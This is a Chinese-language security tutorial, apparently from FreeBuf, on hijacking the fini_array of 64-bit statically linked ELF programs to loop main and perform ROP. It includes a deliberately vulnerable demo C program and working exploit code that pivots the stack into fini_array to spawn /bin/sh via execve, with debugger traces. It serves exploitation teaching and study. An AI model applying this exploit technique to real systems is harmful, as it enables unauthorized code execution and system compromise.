详解64位静态编译程序的fini_array劫持及ROP攻击
然鹅，__libc_start_main也有爸爸，他就是_start也就是Entry point程序的进入点啦，可以通过readelf -h查看：
ELF Header: Magic: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - GNU ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x401a60 Start of program headers: 64 (bytes into file) Start of section headers: 835672 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 8 Size of section headers: 64 (bytes) Number of section headers: 31 Section header string table index: 30
（这是一个64位静态编译的ELF程序）其中，Entry point address: 0x401a60就是_start的地址：
.text:0000000000401A60 public start
.text:0000000000401A60 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401A60 ; __unwind {
.text:0000000000401A60 xor ebp, ebp
.text:0000000000401A62 mov r9, rdx
.text:0000000000401A65 pop rsi
.text:0000000000401A66 mov rdx, rsp
.text:0000000000401A69 and rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A6D push rax
.text:0000000000401A6E push rsp
.text:0000000000401A6F mov r8, offset sub_402BD0 ; fini
.text:0000000000401A76 mov rcx, offset loc_402B40 ; init
.text:0000000000401A7D mov rdi, offset main
.text:0000000000401A84 db 67h
.text:0000000000401A84 call __libc_start_main
.text:0000000000401A8A hlt
.text:0000000000401A8A ; } // starts at 401A60
.text:0000000000401A8A start endp
x64是通过寄存器来保存函数参数的：
rdi - first argument
rsi - second argument
rdx - third argument
rcx - fourth argument
r8 - fifth argument
r9 - sixth argument
可以发现__libc_start_main函数的参数中，有3个是函数指针：
rdi <- main rcx <- __libc_csu_init r8 <- __libc_csu_fini
不难想到，除main以外的这两位兄弟，一位在main开始执行前执行，一位在main执行完毕后执行
__libc_csu_fini就是在main执行完毕后执行的那位
这兄弟虽然只有短短几行指令，但是能利用的点却贼多，他长这样：
pwndbg> x/20i 0x402bd0 0x402bd0 : push rbp 0x402bd1 : lea rax,[rip+0xb24e8] # 0x4***c0 0x402bd8 : lea rbp,[rip+0xb24d1] # 0x4***b0 0x402bdf : push rbx 0x402be0 : sub rax,rbp 0x402be3 : sub rsp,0x8 0x402be7 : sar rax,0x3 0x402beb : je 0x402c06 0x402bed : lea rbx,[rax-0x1] 0x402bf1 : nop DWORD PTR [rax+0x0] 0x402bf8 : call QWORD PTR [rbp+rbx*8+0x0] 0x402bfc : sub rbx,0x1 0x402c00 : cmp rbx,0xffffffffffffffff 0x402c04 : jne 0x402bf8 0x402c06 : add rsp,0x8 0x402c0a : pop rbx 0x402c0b : pop rbp 0x402c0c : jmp 0x48f52c
下面先概括的说下这个函数可利用的点，在后面会详细分析：
首先，看下面这条指令：
0x402bd8: lea rbp,[rip+0xb24d1] # 0x4***b0
rbp = 0×4***b0，0×4***b0是fini_array的首地址
这条指令相当于lea rbp,[fini_array]
因此，在这里配合gadget:
leave ; (mov rsp,ebp; pop rbp) ret
可以把栈迁移到fini_array（fini_array存储的函数指针，自然有写权限）
其次，下面有一条call指令：
0x402bf8: call QWORD PTR [rbp+rbx*8]
rbp即为fini_array，因此这里将调用fini_array中的函数
只要修改fini_array中的值，就可以实现控制流的转移啦（传说中的fini_array劫持）
由此可见静态编译程序的__libc_csu_fini简直好用的不得了鸭，既可以完成栈迁移，又能够劫持控制流
p.s. 动态链接的程序__libc_csu_fini很短，并没有上述指令..
fini_array的地址可通过查看静态编译程序的section信息获得：
pwndbg> elfheader 0x400200 - 0x400224 .note.gnu.build-id 0x400224 - 0x400244 .note.ABI-tag 0x400248 - 0x400470 .rela.plt 0x401000 - 0x401017 .init 0x401018 - 0x4010d0 .plt 0x4010d0 - 0x48d630 .text 0x48d630 - 0x48f52b __libc_freeres_fn 0x48f52c - 0x48f535 .fini 0x490000 - 0x4a95dc .rodata 0x4a95dc - 0x4a95dd .stapsdt.base 0x4a95e0 - 0x4b3d00 .eh_frame 0x4b3d00 - 0x4b3da9 .gcc_except_table 0x4***80 - 0x4***a0 .tdata 0x4***a0 - 0x4***b0 .init_array 0x4***a0 - 0x4***e0 .tbss 0x4***b0 - 0x4***c0 .fini_array 0x4***c0 - 0x4b7ef4 .data.rel.ro 0x4b7ef8 - 0x4b7fe8 .got 0x4b8000 - 0x4b80d0 .got.plt 0x4b80e0 - 0x4b9bf0 .data 0x4b9bf0 - 0x4b9c38 __libc_subfreeres 0x4b9c40 - 0x4ba2e8 __libc_IO_vtables 0x4ba2e8 - 0x4ba2f0 __libc_atexit 0x4ba300 - 0x4bba78 .bss 0x4bba78 - 0x4bbaa0 __libc_freeres_ptrs
其中0×4***b0 – 0×4***c0即.fini_array数组，其中存在两个函数指针：
pwndbg> x/2xg 0x4***b0 0x4***b0: 0x0000000000401b10 0x0000000000401580 pwndbg> x/i 0x0000000000401b10 0x401b10 : cmp BYTE PTR [rip+0xb87e9],0x0 pwndbg> x/i 0x0000000000401580 0x401580 : mov rax,QWORD PTR [rip+0xb9b71]
array[0]:__do_global_dtors_aux array[1]:fini
这两个函数都会在main执行完毕后执行，因此可以覆盖这两个函数指针，即可实现控制流的劫持
此外，静态链接的程序也有PLT表和GOT表，也可以覆盖通过GOT中的函数指针实现控制流劫持
上述fini_array中的两个函数指针在__libc_csu_fini（上文说的那位兄弟）中被执行
执行的顺序是array[1]->array[0]
于是，有了一种比较好玩儿的操作：
把array[0]的值覆盖为那位兄弟（__libc_csu_fini函数）的地址
把array[1]的值覆盖为另一个函数地址，就叫他addrA吧
于是，main执行完毕后执行__libc_csu_fini，于是有意思的来了！
__libc_csu_fini先执行一遍array[1]:addrA，返回后再执行array[0]:__libc_csu_fini
__libc_csu_fini先执行一遍array[1]:addrA，返回后再执行array[0]:__libc_csu_fini
__libc_csu_fini先执行一遍array[1]:addrA，返回后再执行array[0]:__libc_csu_fini
……
看！连起来啦~ main->__libc_csu_fini->addrA->__libc_csu_fini->addrA-> ……
因吹斯汀~
详细的过程如下：
0x402bd1 : lea rax,[rip+0xb24e8] # 0x4***c0 0x402bd8 : lea rbp,[rip+0xb24d1] # 0x4***b0 0x402bdf : push rbx 0x402be0 : sub rax,rbp 0x402be3 : sub rsp,0x8 0x402be7 : sar rax,0x3
rax = 0×4***c0 – 0×4***b0 = 0×10
rax = 0×10 >> 3 = 2
0x402bed : lea rbx,[rax-0x1] 0x402bf1 : nop DWORD PTR [rax+0x0] 0x402bf8 : call QWORD PTR [rbp+rbx*8+0x0]
rbx = rax-1 = 1
call [rbp+rbx*8+0x0]即call array[1]即call addrA
0x402bfc : sub rbx,0x1 0x402c00 : cmp rbx,0xffffffffffffffff 0x402c04 : jne 0x402bf8
addrA执行完毕后返回到0x402bfc
rbx = rbp – 1 = 0
rbx != -1，于是程序控制流又回到了那位兄弟手中：
0x402bf8 : call QWORD PTR [rbp+rbx*8+0x0]
此时执行的是call array[1]即call __libc_csu_fini（call自己个儿啊）
于是循环往复，只要array[0]中的__libc_csu_fini值不变，程序就会一直循环执行addrA
当然，将array[1]中的addrA改成其他的addrB、addrC也都会执行
想要终止循环，只需把array[0]中的__libc_csu_fini换掉即可
就这样，那位兄弟只要占住了array[0]这个坑，就可以让addrA无限次的执行下去啦
小结一下：
x64静态编译程序，劫持fini_array
array[0]覆盖为__libc_csu_fini array[1]覆盖为另一地址addrA
程序将循环执行addrA
终止条件为array[0]不再为__libc_csu_fini
相当于：
while (array[0] == __libc_csu_fini){
addrA();
}
比如addrA中存在任意写一字节内存漏洞，通过上面这个循环就可以实现任意写多字节
至于ROP攻击，可以通过上述的栈迁移来实现
leave; ret相当于执行如下操作：
mov rsp, rbp (fini_array->rsp) pop rbp (fini_array->rbp) ret (fini_array+0×8->ret )
这里有两种栈迁移方法： 第一种：在array[1]处迁移栈（需迁移两次
fini_array+0×0:(data)fini_array+0×8 fini_array+0×8:(gadget)leave_ret fini_array+0×10:rop chain
第二种：跳过array[1]，在array[0]处迁移栈
fini_array+0×0:(gadget)leave_ret fini_array+0×8:(gadget)ret fini_array+0×10:rop chain
这两种方法都可以达到栈迁移的目的，直接说比较难理解，待会实际调试一下就明白啦（下面有例子） 总之，向fini_array+0×10,fini_array+0×18…中依次布置gadget 构造好了ROP链，就可以完成ROP攻击啦~
举个栗子
#include
#include
int main(int argc, char *argv[]){
char buf[30];
write(1,"addr:",5);
read(0,&buf,200);
int *addr = buf;
write(1,"data:",5);
read(0,*addr,24);
return 0;
}
$ gcc demo.c -no-pie --static -o demo
很明显，存在任意写内存的漏洞，可以改写任意内存位置的连续24个字节。利用方式如下：
ru('addr:')
sl(p64(addr))
ru('data:')
se(p64(data1)+p64(data2)+p64(data3))
24字节显然不够，于是可以用上文提到的循环大法：
array[0]:__libc_csu_fini array[1]:main
让main函数多执行几次，这样就可以控制足够大的内存空间，往里面布置ROP链啦~
就这个栗子而言，ROP攻击的思路大概是这样：
利用任意写，劫持fini_array
循环执行main，利用任意写，将ROP链布置到fini_array+0×10
终止循环，并将栈迁移到fini_array+0×10执行ROP链
劫持fini_array+循环大法：
ru('addr:')
sl(p64(fini_array))
ru('data:')
se(p64(libc_csu_fini)+p64(main))
布置ROP链：执行SYS_execve(‘/bin/sh’,0,0)，需要完成以下寄存器的布局：
RAX 0x3b RDI addr -> '/bin/sh' RDX 0 RSI 0
对应的ROP链如下：
pop_rdi=0x00000000004016a6 # pop rdi ; ret
pop_rax=0x0000000000447bbc # pop rax ; ret
pop_rdx_rsi=0x000000000044a659 # pop rdx ; pop rsi ; ret
syscall = 0x0000000000402434 # syscall
bin_sh_addr=fini_array+0x50 # ropchain start at fini_array+0x10
ropchain = [p64(pop_rdi),p64(bin_sh_addr),
p64(pop_rax),p64(0x3b),
p64(pop_rdx_rsi),p64(0),p64(0),
p64(syscall),
"/bin/sh\x00"]
# write ropchain to fini_array
for i in range(len(ropchain)):
ru('addr:')
sl(p64(fini_array+0x10+i*8))
ru('data:')
se(ropchain[i])
现在布置完了ROP链，可以跳出循环了，跳出循环后，通过leave_ret完成栈迁移，执行ROP链：
ru('addr:')
sl(p64(fini_array))
ru('data:')
se(p64(leave)+p64(ret)) # break loop and stack pivot
这里用的是上文中的第二种栈迁移方式：
fini_array+0×0:(gadget)leave_ret fini_array+0×8:(gadget)ret fini_array+0×10:rop chain
这是因为循环大法中的array[1]是main，main返回后将执行array[0]处的函数：
leave执行前：
► 0x401c29 leave
0x401c2a ret
↓
0x401016 ret
↓
0x4016a6 pop rdi
0x4016a7 ret
↓
0x447bbc pop rax
pwndbg> x/10xg $rsp
0x7fff85f385c8: 0x0000000000402bfc 0x00000000004***f8
0x7fff85f385d8: 0x0000000000000000 0x00000000004***b0
0x7fff85f385e8: 0x0000000000402bfc 0x00000000004***f0
0x7fff85f385f8: 0x0000000000000000 0x00000000004***b0
0x7fff85f38608: 0x0000000000402bfc 0x00000000004***e8
leave执行后：
栈被迁移到fini_array+0×8，即array[1]，但是这里并不是ROP链的开始
在array[1]这里用只含ret一个指令的gadget，让控制流后移，进入到fini_array+0×10的ROP链中
0x401c29 leave ► 0x401c2a ret ↓ 0x401016 ret ↓ 0x4016a6 pop rdi 0x4016a7 ret ↓ 0x447bbc pop rax pwndbg> x/10xg $rsp 0x4***b8: 0x0000000000401016 0x00000000004016a6 0x4***c8: 0x00000000004b5100 0x0000000000447bbc 0x4***d8: 0x000000000000003b 0x000000000044a659 0x4***e8: 0x0000000000000000 0x0000000000000000 0x4***f8: 0x0000000000402434 0x0068732f6e69622f
ROP链执行完毕后就会执行SYS_execve(‘/bin/sh’,0,0)啦~
*本文原创作者：taqini，本文属FreeBuf原创奖励计划，未经许可禁止转载
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